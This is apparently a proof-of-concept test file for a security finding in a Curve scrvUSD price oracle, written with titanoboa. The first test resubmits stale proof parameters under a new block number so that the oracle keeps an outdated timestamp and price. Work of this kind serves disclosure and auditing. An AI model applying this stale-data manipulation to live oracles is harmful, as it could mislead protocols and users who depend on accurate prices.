def test_state_root_timestamp_vulnerability(crvusd, admin, verifier, soracle_price_slots, soracle, boracle, scrvusd, scrvusd_slot_values):
# Initialize oracle with valid parameters
initial_ts = boa.env.evm.patch.timestamp
initial_block = 10
# Set up initial valid state
# # Create fake block 10 with valid parameters
block_header, proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
boracle._set_state_root(initial_block, block_header.state_root)
# # Verify initial state
with boa.env.prank(admin):
verifier.verifyScrvusdByStateRoot(
initial_block,
serialize_proofs(proofs[0])
)
print("\nNew block accepted", soracle.last_block_number())
# # Validate initial price
# print(soracle)
assert soracle.price_v1() == 10**18 # (50+50)/100 = 1.0
print("Timestamp ",soracle.price_params_ts())
print("\n[price_v1]=",soracle.price_v1())
print("Direct data",soracle.raw_price(0, initial_ts, initial_ts))
# # Advance time by 1 week (real-world changes)
boa.env.time_travel(initial_ts + 7*86400)
new_ts = boa.env.evm.patch.timestamp
# # Attacker creates new block with same parameters but new block number
malicious_block = 20
# print(soracle_price_slots)
# Re-use same parameters but update block number
malicious_block_header, malicious_proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
boracle._set_state_root(malicious_block, malicious_block_header.state_root)
# Exploit: verifyScrvusdByStateRoot uses params[5] (stale initial_ts) as timestamp
with boa.env.prank(admin):
verifier.verifyScrvusdByStateRoot(
malicious_block,
serialize_proofs(malicious_proofs[0])
)
# # Oracle state after attack
assert soracle.last_block_number() == malicious_block # New block accepted
print("\nNew block accepted", soracle.last_block_number())
# assert soracle.price_params_ts() == initial_ts # Stale timestamp preserved
print("Stale timestamp preserved",soracle.price_params_ts())
# Price calculation should be incorrect:
# Real price after 1 week should be higher, but oracle uses stale data
# Actual price if parameters updated: (100+100)/100 = 2.0
# Oracle price using stale params: (50+50)/100 = 1.0 with smoothing
# assert soracle.price_v1() < 11 * 10**17 # ~1.0 instead of 2.0
print("~1.0 instead of 2.0 [price_v1]=", soracle.price_v1())
# assert soracle.raw_price(0, new_ts, new_ts) == 10**18 # Direct stale data
print("Direct stale data",soracle.raw_price(0, new_ts, new_ts))
# # Verify attack persistence
boa.env.time_travel(initial_ts + 7*86400) # Advance time by 1 week (real-world changes)
# assert soracle.price_v1() < 11 * 10**17 # Still incorrect after time passage
print("Still incorrect after time passage", soracle.price_v1() )
# assert soracle.raw_price(0, new_ts, new_ts) == 10**18 # Direct stale data
print("Direct stale data",soracle.raw_price(0, new_ts, new_ts))
def test_proper_timestamp_handling(crvusd, admin, verifier, soracle_price_slots, soracle, boracle, scrvusd, scrvusd_slot_values):
# Initial valid setup
initial_ts = boa.env.evm.patch.timestamp
initial_block = 10
print(f"\n[Timestamp] Updated to {initial_ts}")
# Submit initial parameters
block_header, proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
with boa.env.prank(admin):
boracle._set_state_root(initial_block, block_header.state_root)
verifier.verifyScrvusdByStateRoot(initial_block, serialize_proofs(proofs[0]))
# Validate initial state
initial_price = soracle.price_v1()
assert initial_price == 10**18 # 1.0
print(f"[Initial Price] {initial_price/1e18:.2f}")
raw_price = soracle.raw_price(0, initial_ts, initial_ts)
print(f"[Raw Price] {raw_price/1e18:.2f}")
# # Advance 1 week and prepare updated parameters
boa.env.time_travel(initial_ts + 7*86400)
new_ts = boa.env.evm.patch.timestamp
soracle_price_slots[4] = 78
soracle_price_slots[5] = 80
# # Submit new parameters with FRESH timestamp
malicious_block = 20
# Submit initial parameters
block_header, proofs = get_block_and_proofs([(scrvusd, soracle_price_slots)])
with boa.env.prank(admin):
boracle._set_state_root(initial_block, block_header.state_root)
verifier.verifyScrvusdByStateRoot(initial_block, serialize_proofs(proofs[0]))
# # Verify updated state
final_price = soracle.price_v1()
raw_price = soracle.raw_price(0, new_ts, new_ts)
print(f"\n[Final Price] {final_price/1e18:.2f}")
print(f"[Raw Price] {raw_price/1e18:.2f}")
# # Should show price increase
assert final_price > 10**18
assert raw_price > 10**18
# # Verify timestamp updated
# assert soracle.price_params_ts() == new_ts
print(f"[Timestamp] Updated to {new_ts}")
Oracles with infrequent updates return inaccurate prices.